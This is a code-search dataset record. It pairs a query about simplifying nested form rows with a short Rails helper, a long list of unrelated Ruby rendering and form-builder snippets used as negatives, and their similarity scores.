"def business_name\n move_down 110\n y_position =cursor\n image \"#{Rails.root}/app/assets/images/permit_background.png\", width: 488, height: 670, :at => [10, y_position]\n move_down 10\n text \"MAYOR'S PERMIT\", align: :center, size: 25, style: :bold\n stroke do\n horizontal_line 50, 500 ,at: 638\n end\n text \"Pursuant to the provisions of the Revised Municipal Revenue Code 2014 - 03\n of the Municipality of Tinoc, PERMIT is hereby granted to:\", align: :center, size: 10\n move_down 8\n text \"#{@business.business_name.upcase}\", size: 16, style: :bold, align: :center\n text \"Business Trade Name\", align: :center, size: 11\n end",
"def draw_text_box(x1,y1,x2,y2,text,angle=0,r=255,g=255,b=255,align=Rchart::ALIGN_LEFT,shadow=true,bgr=-1,bgg=-1,bgb=-1,alpha=100)\n position = image_ftb_box(@font_size,angle,@font_name,text)\n text_width = position[2]-position[0]\n text_height = position[5]-position[3]\n area_width = x2 - x1\n area_height = y2 - y1\n x =nil\n y = nil\n\n if ( bgr != -1 && bgg != -1 && bgb != -1 )\n draw_filled_rectangle(x1,y1,x2,y2,bgr,bgg,bgb,false,alpha)\n end\n\n if ( align == Rchart::ALIGN_TOP_LEFT )\n x = x1+1\n y = y1+@font_size+1\n end\n\n if ( align == Rchart::ALIGN_TOP_CENTER )\n x = x1+(area_width/2)-(text_width/2)\n y = y1+@font_size+1\n end\n\n if ( align == Rchart::ALIGN_TOP_RIGHT )\n x = x2-text_width-1\n y = y1+@font_size+1\n end\n if ( align == Rchart::ALIGN_LEFT )\n x = x1+1\n y = y1+(area_height/2)-(text_height/2)\n end\n if ( align == Rchart::ALIGN_CENTER )\n x = x1+(area_width/2)-(text_width/2)\n y = y1+(area_height/2)-(text_height/2)\n end\n if ( align == Rchart::ALIGN_RIGHT )\n x = x2-text_width-1\n y = y1+(area_height/2)-(text_height/2)\n end\n if ( align == Rchart::ALIGN_BOTTOM_LEFT )\n x = x1+1\n y = y2-1\n end\n if ( align == Rchart::ALIGN_BOTTOM_CENTER )\n x = x1+(area_width/2)-(text_width/2)\n y = y2-1\n end\n if ( align == Rchart::ALIGN_BOTTOM_RIGHT )\n x = x2-text_width-1\n y = y2-1\n end\n c_text_color =allocate_color(@picture,r,g,b)\n c_shadow_color =allocate_color(@picture,0,0,0)\n if ( shadow )\n image_ttf_text(@picture,@font_size,angle,x+1,y+1,c_shadow_color,@font_name,text)\n end\n\n image_ttf_text(@picture,@font_size,angle,x,y,c_text_color,@font_name,text)\n end",
"def image_file\n outfile = Tempfile.new(['gore_captcha', '.jpg'])\n outfile.binmode\n\n Services.write_image_for_text(text, outfile)\n File.expand_path(outfile.path)\n end",
"def setLable string\n @lable = Gosu::Image.from_text string,20\n end",
"def output_image\r\n # loop continues through each Row and outputs content\r\n puts \"Original Image\"\r\n @array.each do |row|\r\n puts row.join\r\n end\r\n end",
"def draw\n @font.draw(@text, @x, @y, 0, 1, 1, @color)\n end",
"def putImage(theWidth, theHeight, theImage)\n\n\tputs \"Raw Image:\";\n\tputs theImage.join();\n\t\n\t\n\tputs \"\"\n\tputs \"Bitmap Image:\"\n\tn = 0;\n\n\t0.upto(theHeight - 1) do |y|\n\t\t0.upto(theWidth - 1) do |x|\n\t\t\tprint (theImage[n] == 1) ? '#' : ' ';\n\t\t\tn += 1;\n\t\tend\n\t\tputs \"\";\n\tend\n\nend",
"def draw_imgui\n\n\t\tend",
"def link_image(link, image, text, *args)\n options = args.extract_options!\n link_to image_tag(image, :border=>0, :alt=>text), link, :title=> text, :class => options[:class]\n end",
"def write_line(line)\n text = line\n text.gsub!('~~~~{.cpp}', '```cpp')\n text.gsub!(\"~~~~\",\"```\")\n\n if text.include? \"\"\n end",
"def info_text(fg, bg)\n klass = class_type == DirectClass ? 'DirectClass' : 'PsuedoClass'\n\n text = <<~END_TEXT\n Format: #{format}\n Geometry: #{columns}x#{rows}\n Class: #{klass}\n Depth: #{depth} bits-per-pixel component\n Colors: #{number_colors}\n END_TEXT\n\n info = Image.new(HISTOGRAM_COLS, HISTOGRAM_ROWS) do |options|\n options.background_color = bg\n options.border_color = fg\n end\n\n gc = Draw.new\n\n gc.annotate(info, 0, 0, 0, 0, text) do |options|\n options.stroke = 'transparent'\n options.fill = fg\n options.gravity = CenterGravity\n end\n info['Label'] = 'Info'\n\n info\n end",
"def draw_text(*args)\n raise \"not implemented\"\n end",
"def add_image(name, data)\n elem = ElemImage.new(name, data)\n add_element(elem)\n end"
] |
[
"0.7186853",
"0.679442",
"0.67216253",
"0.66585636",
"0.6643977",
"0.66163063",
"0.65904677",
"0.6585813",
"0.6538829",
"0.64881206",
"0.64517665",
"0.63967407",
"0.6294845",
"0.6293493",
"0.6186263",
"0.6176253",
"0.61697733",
"0.615134",
"0.6136433",
"0.610785",
"0.61031413",
"0.61001426",
"0.6084809",
"0.6083552",
"0.60563797",
"0.6025206",
"0.6021816",
"0.6015963",
"0.5961076",
"0.5949508",
"0.5939045",
"0.5869076",
"0.5846671",
"0.58114386",
"0.5807153",
"0.58001095",
"0.5790958",
"0.5785065",
"0.5779226",
"0.5778209",
"0.57700783",
"0.57643884",
"0.5762725",
"0.57599276",
"0.5748992",
"0.5740204",
"0.57239765",
"0.57132727",
"0.57105094",
"0.5707129",
"0.5703978",
"0.57022464",
"0.56960183",
"0.56960183",
"0.5678611",
"0.566935",
"0.5669148",
"0.5664906",
"0.5664859",
"0.5654028",
"0.5649066",
"0.56453913",
"0.5591349",
"0.5580027",
"0.55799013",
"0.5579365",
"0.55764973",
"0.5573686",
"0.5561997",
"0.55407",
"0.5537391",
"0.5536841",
"0.5533513",
"0.5518797",
"0.55110514",
"0.55103534",
"0.55074596",
"0.5507173",
"0.55052686",
"0.5480323",
"0.54462045",
"0.5440066",
"0.54236734",
"0.5419849",
"0.5417975",
"0.54098535",
"0.5409131",
"0.5399798",
"0.5393173",
"0.53916484",
"0.53877294",
"0.5382126",
"0.538122",
"0.53786016",
"0.53779626",
"0.5375108",
"0.5374939",
"0.5374543",
"0.5372578",
"0.5365624"
] |
0.546584
|
80
|
Simplifies making form items nested next to each other. Use in conjunction with form_block
|
def form_row(&block)
@template.concat @template.content_tag(:div, @template.capture(&block), :class => 'box_container')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def nested_forms\n []\n end",
"def form_fields\n @item_fields = @model.typus_fields_for('form')\n @item_has_many = @model.typus_relationships_for('has_many')\n @item_has_and_belongs_to_many = @model.typus_relationships_for('has_and_belongs_to_many')\n end",
"def wrap_with_repeatable_ui\n # cocoon JS wants \"nested-fields\"\n template.content_tag(:div, class: \"nested-fields form-row\") do\n template.content_tag(:div, class: \"col\") do\n yield\n end +\n template.content_tag(:div, class: \"col-auto\") do\n remove_link\n end\n end\n end",
"def resource_form_indentation(depth)\n (depth - 1) * 40\n end",
"def edit_form\n\t\tnewform = \"\"\n\t\titem_text = question_items.first.text #\n\t\tanswer_item = (self.answer_item.nil? or (self.answer_item =~ /\\d+([a-z]+)/).nil?) ? \"\" : \"\\t\" + $1 + \". \"\n\t\tself.question_items.each do |item|\n\t\t\tnewform = if item.position==1\n\t\t\t\tdiv_item( answer_item + item.text, \"itemquestiontext span-9\")\n\t\t\telse\n\t\t\t\tdiv_item( item_text, \"itemquestiontext span-9\")\n\t\t\tend\n\t\tend\n\t\tnewform\n\tend",
"def add_fields_to(formtastic_form)\n fields = {}\n formtastic_form.inputs admin_fieldset_title do\n ingredients.each do |i_id, i|\n sheet = formtastic_form.object\n content = sheet.content_for i.content_key\n #debugger\n fields[i.content_key] = formtastic_form.fields_for(content) do |i_form|\n i_form.input :text\n end\n #i.add_fields_to(formtastic_form) if i.kind_of? ActiveAdmin::Cms::Recipe::Ingredient\n end\n end\n sections.each do |s_id, s|\n fields[s_id] = s.add_fields_to(formtastic_form) if s.kind_of? ActiveAdmin::Cms::Recipe::Section\n end\n\n #debugger\n\n formtastic_form.inputs\n\n end",
"def custom_item_form options\n group_html = \"<li id='#{options[:id]}' class='p'>\"\n group_html += options[:label] ? \"<label for='#{options[:id]}'>#{options[:label]}</label>\" : \"\"\n group_html += \"<div class='wrap-custom-html'>#{options[:html]}</div>\"\n group_html += options[:hint] ? \"<p class='inline-hints'>#{options[:hint]}</p>\" : \"\"\n group_html += \"</li>\"\n group_html.html_safe\n end",
"def nested_field_set(f, assoc, options = {})\n wrapper_partial = \"shared/nested_fields_wrapper\"\n options[:inner_partial] ||= \"#{f.object.class.model_name.route_key}/#{assoc.to_s.singularize}_fields\"\n options[:multiple] = true unless options.has_key?(:multiple)\n\n wrapper_classes = [\"nested-fields\"]\n wrapper_classes << \"no-label\" if options[:label] == false\n wrapper_classes << \"multiple\" if options[:multiple]\n\n f.input(assoc, options.slice(:required)) do\n content_tag(:div, class: \"nested-field-set\") do\n f.simple_fields_for(assoc, wrapper: :nested_fields) do |f2|\n render(wrapper_partial, f: f2, options: options, classes: wrapper_classes)\n end <<\n if options[:multiple]\n content_tag(:span) do\n link_to_add_association(t(\"cocoon.add_links.#{assoc}\"), f, assoc,\n partial: wrapper_partial,\n render_options: {\n wrapper: :nested_fields, # Simple form wrapper\n locals: {options: options, classes: wrapper_classes}\n }\n )\n end\n end\n end\n end\n end",
"def nested_form_field label_text, form, method, field, *args\n if form.is_a? Array\n if form.length > 1\n form.shift.fields_for form.first do |builder|\n form[0] = builder\n nested_form_field label_text, form, method, field, *args\n end\n else\n nested_form_field label_text, form.first, method, field, *args\n end\n else\n if label_text.nil?\n form.send method, field, *args\n else\n %Q(<div class=row>\n <div class=span4>#{label_text}</div>\n #{ form.send method, field, *args }\n </div>).html_safe\n end\n end\n end",
"def field_set_and_list_wrapping(*args, &block) #:nodoc:\n contents = args.last.is_a?(::Hash) ? '' : args.pop.flatten\n html_options = args.extract_options!\n\n legend = html_options.delete(:name).to_s\n legend %= parent_child_index(html_options[:parent]) if html_options[:parent]\n legend = template.content_tag(:legend, template.content_tag(:span, legend)) unless legend.blank?\n\n if block_given?\n contents = if template.respond_to?(:is_haml?) && template.is_haml?\n template.capture_haml(&block)\n else\n template.capture(&block)\n end\n end\n\n # Ruby 1.9: String#to_s behavior changed, need to make an explicit join.\n contents = contents.join if contents.respond_to?(:join)\n fieldset = template.content_tag(:fieldset,\n legend << template.content_tag(:ol, contents),\n html_options.except(:builder, :parent)\n )\n\n template.concat(fieldset) if block_given?\n fieldset\n end",
"def tabular_fields(form, attr, options = {})\n obj = form.object\n title = I18n.t(\"formtastic.titles.#{attr}\", :default => '')\n hint = I18n.t(\"formtastic.hints.#{obj.class.name.underscore}.#{attr}\",\n :default => '')\n outer_options = {\n :class => (obj.is_repeatable?(attr) ? 'repeatable ' : '') + 'with-table'\n }\n outer_options[:name] = title unless title.blank?\n outer_options[:name] = options[:name] if options.has_key?(:name)\n if obj.subfields(attr).blank?\n options[:label] = outer_options[:name] unless options.has_key? :label\n outer_options.delete(:name)\n end\n \n form.inputs outer_options do\n concat(content_tag('li') do\n concat(content_tag('table') do\n concat(table_header(form, attr, options))\n concat(content_tag('tbody') do\n concat(form.fields_for(\"#{attr}_items\".to_sym) do |f|\n concat(content_tag('tr') do\n form.object.subfields_for_nesting(attr).each do |field|\n as = get_option(options, field, :as) ||\n form.send(:default_input_type, field)\n concat(content_tag('td', :class => as) do\n input_options = field_options(form, attr, field, options)\n concat f.input(field, input_options)\n end)\n end\n end)\n end)\n end)\n end)\n unless hint.blank?\n concat(content_tag('p', hint, :class => 'inline-hints'))\n end\n concat(content_tag('li', form.errors_on(attr)))\n end)\n end\n end",
"def inner_wrapper\n <<-HTML\n <li class=\"field-wrapper double-input\">\n #{yield}\n </li>\n HTML\n end",
"def pythy_form_for(*args, &block)\n options = {}\n\n if args.length >= 2 && !args[1].is_a?(Hash)\n parent = args[0]\n child = args[1]\n form_args = child.try(:new_record?) ? [parent, child] : child\n\n options = args[2] if args.length > 2 && args[2].is_a?(Hash)\n else\n parent = nil\n child = args[0]\n form_args = child\n\n options = args[1] if args.length > 1 && args[1].is_a?(Hash)\n end\n\n if options[:html]\n if options[:html][:class]\n options[:html][:class] += ' form-horizontal'\n else\n options[:html][:class] = 'form-horizontal'\n end\n else\n options[:html] = { class: 'form-horizontal' }\n end\n\n capture do\n twitter_bootstrap_form_for(form_args, options) do |f|\n concat form_errors child\n yield f\n end\n end\n end",
"def single_item_action_add_form_fields(form, document)\n single_item_action_form_fields(form, document, 'add')\n end",
"def inline(label = nil, &block)\n template.content_tag(:div) do\n template.concat template.content_tag(:label, label) if label.present?\n template.concat template.content_tag(:div, :class => 'input') {\n template.content_tag(:div, :class => 'inline-inputs') do\n template.fields_for(\n self.object_name,\n self.object,\n self.options.merge(:builder => ActionView::Helpers::FormBuilder),\n &block\n )\n end\n }\n end\n end",
"def typus_form_externals\n html = \"\"\n if @form_fields_externals\n @form_fields_externals.each do |field|\n model_to_relate = field.singularize.camelize.constantize\n # FIXME: The admin shouldn't be hardcoded.\n html << \"<h2 style=\\\"margin: 20px 0px 10px 0px;\\\"><a href=\\\"/admin/#{field}\\\">#{field.titleize}</a> <small>#{link_to \"Add new\", :model => field, :action => 'new', :btm => params[:model], :bti => params[:id], :bta => params[:action]}</small></h2>\"\n items_to_relate = (model_to_relate.find(:all) - @item.send(field))\n if items_to_relate.size > 0\n html << <<-HTML\n #{form_tag :action => \"relate\", :related => field, :id => params[:id]}\n <p>#{select \"model_id_to_relate\", :related_id, items_to_relate.map { |f| [f.name, f.id] }}\n #{submit_tag \"Add\"}\n </form></p>\n HTML\n end\n current_model = params[:model].singularize.camelize.constantize\n @items = current_model.find(params[:id]).send(field)\n html << typus_table(field, 'relationship') if @items.size > 0\n end\n end\n return html\n rescue Exception => error\n \"<p>There was an error when loading <code>config/typus.yml</code>.</p>\n <h3>Error</h3>\n <pre>#{error}</pre>\"\n end",
"def add_tab_to_form\n unless File.exists?(\"#{file_path}/_images_field_#{@chunk}.html.erb\")\n page_parts = open(\"app/views/admin/#{@plural_name}/_form.html.erb\").grep(/page_parts/)\n \n if page_parts.empty?\n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :before => '<%= render :partial => \"/shared/admin/form_actions\",' do\n \"\\n\\t<div class='field'>\" +\n \"\\n\\t\\t<div id='page-tabs' class='clearfix ui-tabs ui-widget ui-widget-content ui-corner-all'>\" +\n \"\\n\\t\\t\\t<ul id='page_parts'>\" +\n \"\\n\\t\\t\\t\\t<li class='ui-state-default'>\" +\n \"\\n\\t\\t\\t\\t\\t<%= link_to '#{@chunk.camelize} Gallery', '##{@chunk}_gallery' %>\" +\n \"\\n\\t\\t\\t</li>\"+\n \"\\n\\t\\t\\t</ul>\" +\n \n \"\\n\\n\\t\\t\\t<div id='page_part_editors'>\" +\n \"\\n\\t\\t\\t\\t<div class='page_part' id='#{@chunk}_gallery'>\" +\n \"\\n\\t\\t\\t\\t\\t<%= render :partial => 'images', :locals => { :f => f, :chunk_name => '#{@chunk}' } -%>\" +\n \"\\n\\t\\t\\t\\t</div>\" +\n \"\\n\\t\\t\\t</div>\" +\n \"\\n\\t\\t</div>\" +\n \"\\n\\t</div>\\n\"\n end \n else\n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :after => \"<ul id='page_parts'>\" do\n \"\\n\\t\\t<li class='ui-state-default'>\" +\n \"\\n\\t\\t\\t<%= link_to '#{@chunk.camelize} Gallery', '##{@chunk}_gallery' %>\" +\n \"\\n\\t\\t</li>\"\n end \n \n insert_into_file \"app/views/admin/#{@plural_name}/_form.html.erb\",\n :after => \"<div id='page_part_editors'>\" do\n \"\\n\\t\\t<div class='page_part' id='#{@chunk}_gallery'>\" +\n \"\\n\\t\\t\\t<%= render :partial => 'images', :locals => { :f => f, :chunk_name => '#{@chunk}' } -%>\" +\n \"\\n\\t\\t</div>\"\n end\n end\n end\n end",
"def form_field_order\n %w{\n\n }\n end",
"def form_field_order\n %w{\n\n }\n end",
"def edit_form\n\t\titem_text = question_items.first.text #in_place_editor_field :question_cell, :items, {}, :rows => 3\n\t\tdiv_item(item_text, \"iteminformation\")\n\tend",
"def render_has_many_form(form_builder, parent, &block)\n index = parent && form_builder.send(:parent_child_index, parent)\n template.concat template.capture { yield(form_builder, index) }\n template.concat has_many_actions(form_builder, \"\".html_safe)\n end",
"def form_field_order\n %w{\n\n }\n end",
"def fields_for_sti(form, many, add)\n object = form.object\n add.each{|klass| object.send(many).build :type => klass }\n\n index = -1\n form.fields_for many do |vf|\n index += 1\n yield vf, index\n end\n end",
"def form_group(f, column, wrapper_class: form_wrapper_class, &block)\n render layout: \"form_group_layout\",\n locals: {f: f, column: column, options: {wrapper_class: wrapper_class}}, &block\n end",
"def new_child_fields_template(form_builder, association, content_type=:div, options = {})\n options[:object] ||= form_builder.object.class.reflect_on_association(association).klass.new\n options[:partial] ||= form_builder.object.class.to_s.underscore.pluralize + \"/\"+ association.to_s.singularize\n options[:form_builder_local] ||= :f\n #content_for :jstemplates do\n content_tag(content_type, :id => \"#{association}_fields_template\", :class => \"hide\") do\n form_builder.fields_for(association, options[:object], :child_index => \"new_#{association}\") do |f|\n render(:partial => options[:partial], :locals => {options[:form_builder_local] => f, :aux_builder => form_builder})\n end\n end\n end",
"def inputs_for_nested_attributes(*args, &block) #:nodoc:\n options = args.extract_options!\n args << options.merge!(:parent => { :builder => self, :for => options[:for] })\n\n fields_for_block = if block_given?\n raise ArgumentError, 'You gave :for option with a block to inputs method, ' <<\n 'but the block does not accept any argument.' if block.arity <= 0\n lambda do |f|\n contents = f.inputs(*args){ block.call(f) }\n template.concat(contents)\n end\n else\n lambda do |f|\n contents = f.inputs(*args)\n template.concat(contents)\n end\n end\n\n fields_for_args = [options.delete(:for), options.delete(:for_options) || {}].flatten\n semantic_fields_for(*fields_for_args, &fields_for_block)\n end",
"def inline_mtm_edit_forms(obj)\n assocs = model.inline_mtm_assocs(request)\n return if assocs.empty?\n\n t = String.new\n t << \"<div class='inline_mtm_add_associations'>\"\n assocs.each do |assoc|\n form_attr = form_attributes(:action=>url_for(\"mtm_update/#{model.primary_key_value(obj)}?association=#{assoc}&redir=edit\"), :class => 'mtm_add_associations', 'data-remove' => \"##{assoc}_remove_list\")\n t << Forme.form(obj, form_attr, form_opts(form_attr[:action])) do |f|\n opts = model.column_options_for(:mtm_edit, request, assoc)\n add_opts = opts[:add] ? opts.merge(opts.delete(:add)) : opts.dup\n add_opts = {:name=>'add[]', :id=>\"add_#{assoc}\"}.merge!(add_opts)\n if model.association_autocomplete?(assoc, request)\n f.input(assoc, {:type=>'text', :class=>'autoforme_autocomplete', :attr=>{'data-type'=>'association', 'data-column'=>assoc, 'data-exclude'=>model.primary_key_value(obj)}, :value=>''}.merge!(add_opts))\n else\n f.input(assoc, {:dataset=>model.unassociated_mtm_objects(request, assoc, obj), :multiple=>false, :add_blank=>true}.merge!(add_opts))\n end\n f.button(:value=>'Add', :class=>'btn btn-xs btn-primary')\n end\n end\n t << \"</div>\"\n t << \"<div class='inline_mtm_remove_associations'><ul>\"\n assocs.each do |assoc|\n mc = model.associated_model_class(assoc)\n t << \"<li>\"\n t << association_class_link(mc, assoc)\n t << \"<ul id='#{assoc}_remove_list'>\"\n obj.send(assoc).each do |assoc_obj|\n t << mtm_edit_remove(assoc, mc, obj, assoc_obj)\n end\n t << \"</ul></li>\"\n end\n t << \"</ul></div>\"\n end",
"def dynamic_form_fields(builder)\n # Allow dynamic fields in our Project to be processed by form_for\n create_virtual_attributes!\n\n @object.fields.each do |field|\n h.haml_concat process_field(builder, field)\n end\n end",
"def as_flattened_form\n form_title = case form_key\n when SHS_Q2_SELF_REFLECTION then 'Q2 Self-reflection'\n when SHS_WHAT_I_WANT_MY_TEACHER_TO_KNOW_MID_YEAR then 'What I want my teachers to know'\n when BEDFORD_DAVIS_TRANSITION_NOTES_FORM then 'Transition Information'\n when BEDFORD_SIXTH_GRADE_TRANSITION_FORM then 'Transition to Grade 6'\n else 'Student voice survey'\n end\n\n # Don't include `form_url` as a defense against overly permissive permissions on\n # the form itself (outside Student Insights).\n {\n id: id,\n form_key: form_key,\n form_title: form_title,\n form_timestamp: form_timestamp,\n student_id: student_id,\n educator_id: educator_id,\n text: as_text,\n updated_at: updated_at\n }\n end",
"def format_forms(page)\n ret = {}\n page.forms.each do |form|\n ret[form.name] = []\n form.fields.each do |n|\n ret[form.name] << n.name\n end\n end\n return ret\nend",
"def form_input_group(&block)\n content_tag(:div, capture(&block), class: \"col-lg-10\")\n end",
"def build_subline_form(action,caption)\n\n\tline_config_codes = LineConfig.find_by_sql('select distinct line_config_code from line_configs').map{|g|[g.line_config_code]}\n\tline_config_codes.unshift(\"<empty>\")\n#\t---------------------------------\n#\t Define fields to build form from\n#\t---------------------------------\n\t field_configs = Array.new\n\t field_configs[0] = {:field_type => 'TextField',\n\t\t\t\t\t\t:field_name => 'subline_code'}\n\n\t field_configs[1] = {:field_type => 'TextField',\n\t\t\t\t\t\t:field_name => 'subline_description'}\n\n#\t----------------------------------------------------------------------------------------------\n#\tCombo fields to represent foreign key (line_config_id) on related table: line_configs\n#\t----------------------------------------------------------------------------------------------\n\tfield_configs[2] = {:field_type => 'DropDownField',\n\t\t\t\t\t\t:field_name => 'line_config_code',\n\t\t\t\t\t\t:settings => {:list => line_config_codes}}\n\n\tbuild_form(nil,field_configs,action,'subline',caption)\n\nend",
"def field_set_and_list_wrapping(*args, &block) # @private\n contents = args.last.is_a?(::Hash) ? '' : args.pop.flatten\n html_options = args.extract_options!\n\n if block_given?\n contents = if template.respond_to?(:is_haml?) && template.is_haml?\n template.capture_haml(&block)\n else\n template.capture(&block)\n end\n end\n\n # Ruby 1.9: String#to_s behavior changed, need to make an explicit join.\n contents = contents.join if contents.respond_to?(:join)\n\n legend = field_set_legend(html_options)\n fieldset = template.content_tag(:fieldset,\n Formtastic::Util.html_safe(legend) << template.content_tag(:ol, Formtastic::Util.html_safe(contents)),\n html_options.except(:builder, :parent, :name)\n )\n\n fieldset\n end",
"def form_node; end",
"def element_form(context={}, aspect_model)\n \n app = context[:app]\n \n renderer = ::UI::FieldSetRender.new('photo', app) \n photo_form = renderer.render('form', 'em') \n \n end",
"def form_fieldset(&block)\n klass = \"fieldset\"\n content_tag(:fieldset, capture(&block), class: klass)\n end",
"def form_field_order\n %w{\n keurig_elite_button\n }\n\n end",
"def new_child_fields_template(form_builder, association, options = {})\n options[:object] ||= form_builder.object.class.reflect_on_association(association.to_sym).klass.new\n options[:partial] ||= association.to_s.singularize\n options[:form_builder_local] ||= :f\n\n content_tag(:div, :id => \"#{association}_fields_template\", :style => \"display: none\") do\n form_builder.fields_for(association, options[:object], :child_index => \"new_#{association}\") do |f|\n render(:partial => options[:partial], :locals => { options[:form_builder_local] => f })\n end\n end\n end",
"def make_muck_parent_fields(parent)\n return if parent.blank?\n %Q{<input id=\"parent_id\" type=\"hidden\" value=\"#{parent.id}\">\n <input id=\"parent_type\" type=\"hidden\" value=\"#{parent.class.to_s}\">}\n end",
"def content_element_form(context={})\n \n app = context[:app]\n \n renderer = UIFieldSetRender::FieldSetRender.new('photo', app) \n photo_form = renderer.render('form', 'em') \n \n end",
"def standard_form name, object, &block\n url = { :action => object.new_record? ? \"index\" : \"show\" }\n html = { :class => \"standard\",\n :style => (@edit_on ? '' : \"display: none;\"),\n :multipart => true }\n concat form_tag(url, html) + \"<fieldset>\", block.binding\n concat '<input name=\"_method\" type=\"hidden\" value=\"put\" />', block.binding unless object.new_record?\n yield LabelingFormBuilder.new(name, object, self, {}, block)\n concat \"</fieldset>\" + end_form_tag, block.binding\n end",
"def group(options ={}, &block)\n @template.form_group(options, &block)\n end",
"def govuk_grouped_fields(form, caption, *attributes)\n attributes_with_errors = attributes.flatten.select { |a| form.object.errors[a].any? }\n attributes_which_are_arrays = attributes.select { |a| form.object[a].is_a? Array }\n\n options = { class: 'govuk-fieldset' }\n options['aria-describedby'] = attributes_with_errors.map { |a| error_id(a) } if attributes_with_errors.any?\n\n tag.fieldset(options) do\n capture do\n concat(list_errors_for_attributes(attributes_which_are_arrays)) if attributes_which_are_arrays.any?\n concat(tag.legend(caption, class: 'govuk-fieldset__legend govuk-fieldset__legend--m'))\n\n attributes.flatten.each do |a|\n yield(form, a)\n end\n end\n end\n end",
"def item_params\n params.require(:item).permit(\n field_containers_attributes: [\n :id, :field_type_id, field_values_attributes: [\n :_type, :id, :value, :current_value, value_ids: []\n ]\n ]\n ).merge(user_id: current_user.id)\n end",
"def forms; end",
"def link_to_add_association_fields(form, association_name, &block)\n # build a new associated object\n new_object = form.object.send(association_name).klass.new\n # Get objects unique ruby id to use in the construction of fields as index\n ruby_obj_id = new_object.object_id\n\n fields = form.fields_for(association_name, new_object, child_index: ruby_obj_id) do |builder|\n render(\"#{association_name.to_s.singularize}_fields\", record: new_object, form: builder)\n end\n\n link_to \"#\", data: { ruby_obj_id: ruby_obj_id, fields: fields.delete(\"\\n\") },\n class: \"btn btn-default add-#{association_name.to_s.singularize.tr('_', '-')}-fields\", &block\n end",
"def fields_html(item=nil)\n fields.map { |f| f.to_html(item.try(f.name.to_sym), item) }.join(\"\\n\")\n end",
"def single_item_action_form_fields(form, document, action)\n render '/collections/single_item_action_fields', form: form, document: document, action: action\n end",
"def link_to_add_fields(name, f, type)\n new_object = f.object.send \"build_#{type}\"\n id = \"new_#{type}\"\n fields = f.send(\"#{type}_fields\", new_object, child_index: id) do |builder|\n render(type.to_s + \"_fields\", f: builder)\n end\n link_to(name, '#', class: \"add_fields\", data: {id: id, fields: fields.gsub(\"\\n\", \"\")})\n end",
"def inputs_for_nested_attributes(*args, &block) #:nodoc:\n options = args.extract_options!\n args << options.merge!(:parent => { :builder => self, :for => options[:for] })\n\n fields_for_block = if block_given?\n raise ArgumentError, 'You gave :for option with a block to inputs method, ' <<\n 'but the block does not accept any argument.' if block.arity <= 0\n\n proc { |f| f.inputs(*args){ block.call(f) } }\n else\n proc { |f| f.inputs(*args) }\n end\n\n fields_for_args = [options.delete(:for), options.delete(:for_options) || {}].flatten\n semantic_fields_for(*fields_for_args, &fields_for_block)\n end",
"def show\n @vig= Vig.find(params[:vig_id])\n @member = @vig.member\n\n @formulario = Form.new( name: \"Javier\" )\n @test.questions.each do |q|\n case q.type\n when 'section'\n @input = @formulario.members.build type: 'section', name: q.content\n q.questions.each do |question|\n if question.type == 'check'\n @answer = @input.answers.build( type: 'checkbox', content: question.content, id_question: question.id )\n question.options_answers.each do |opt|\n @answer.answers << Answer.new(vig_id: @vig.id , type: 'radio', question: question, option: opt )\n end\n else\n @input.answers << Answer.new( note: nil, question: question, type: 'text_field' )\n end\n end\n when 'text', 'textarea'\n @input = @formulario.members.build type: 'text_field', name: q.content\n @input.answers << Answer.new( note: nil, question: q )\n when 'check'\n\n @input = @formulario.members.build type: 'checkbox', name: q.content, id_question:q.id\n q.options_answers.each do |question|\n @input.answers << Answer.new(vig_id: @vig.id , type: 'checkbox', question: q, option: question )\n end\n when 'nested'\n puts \"NESTED\"\n # create the input member\n @input = @formulario.members.build type: 'nested', name: q.content\n \n # create nested member\n q.questions.each do |question|\n member = @input.inputs.build( type:question.type, name:question.content, id_question: question.id )\n if member.type == 'section'\n question.questions.each do |a|\n member.answers << Answer.new( note: nil, question: question )\n end\n else \n question.options_answers.each do |opt|\n member.answers << Answer.new( vig_id: @vig.id, type:'radio', question:question, option: opt )\n end\n end\n end\n\n # added opt answers\n q.options_answers.each do |opt|\n @input.answers << Answer.new(vig_id: @vig.id , type: 'checkbox', question: q, option: opt )\n end\n else\n #puts @input.name\n end\n end\n\n #@questions= @test.questions\n #@answers = Array.new(@questions.count){Answer.new}\n #\n end",
"def fieldset(&block)\n @template.form_fieldset(&block)\n end",
"def f_form_for(record, options = {}, &block)\n options[:builder] = FormattedFormBuilder\n form_for(record, options, &block)\n end",
"def field_block(cols = 2, &block)\n css_class = \"float_left\"\n css_class << \"_#{cols}\" unless cols == 2\n concat('<div class=\"'+ css_class +'\">', block.binding)\n yield\n concat('</div>', block.binding)\n concat('<div style=\"clear:both;\"></div>', block.binding)\n end",
"def input_group(&block)\n @inside_input_group = true\n inner_html = @template.capture &block\n group_html = @template.content_tag(:div, inner_html, class: 'input-group') +\n @errors_html\n output_html = @label_html ? columnize(@label_html, group_html) : group_html\n @inside_input_group = false\n\n row { output_html }\n end",
"def form_group(options ={}, &block)\n content = capture(&block)\n update_options_with_class!(options, 'form-group')\n content_tag(:div, content, options)\n end",
"def fields_for_repeater_response(response, response_group, &block)\n fields_for(\"response_groups[#{response.question_id}][#{response_group}][#{response.answer_id}]\", response, :builder => SurveyFormBuilder, &block)\n end",
"def field_set_and_list_wrapping_for_method(method, options, contents)\n contents = contents.join if contents.respond_to?(:join)\n\n template.content_tag(:fieldset,\n template.content_tag(:legend,\n label(method, options_for_label(options).merge(:for => options.delete(:label_for))), :class => 'label'\n ) <<\n template.content_tag(:ol, Formtastic::Util.html_safe(contents))\n )\n end",
"def create_multiple_choice_fields(question)\n choices = question.possible_choices\n radio_name = \"questions[]#{question.question_type}[]#{question.id}\"\n\n html = \"\"\n html << \"<ul class='no-list'>\"\n choices.each do |choice|\n radio_id = \"questions[]#{question.question_type}[]#{question.id}_#{choice}\"\n radio_name = \"questions[]#{question.question_type}[]#{question.id}\"\n html << \"<li> #{radio_button_tag(radio_name, choice)} #{label_tag radio_id, choice }</li>\"\n end\n html << \"<li class='hidden'>#{radio_button_tag(radio_name, \"\", :check => true)} </li>\"\n html << \"</ul>\"\n raw(html)\n end",
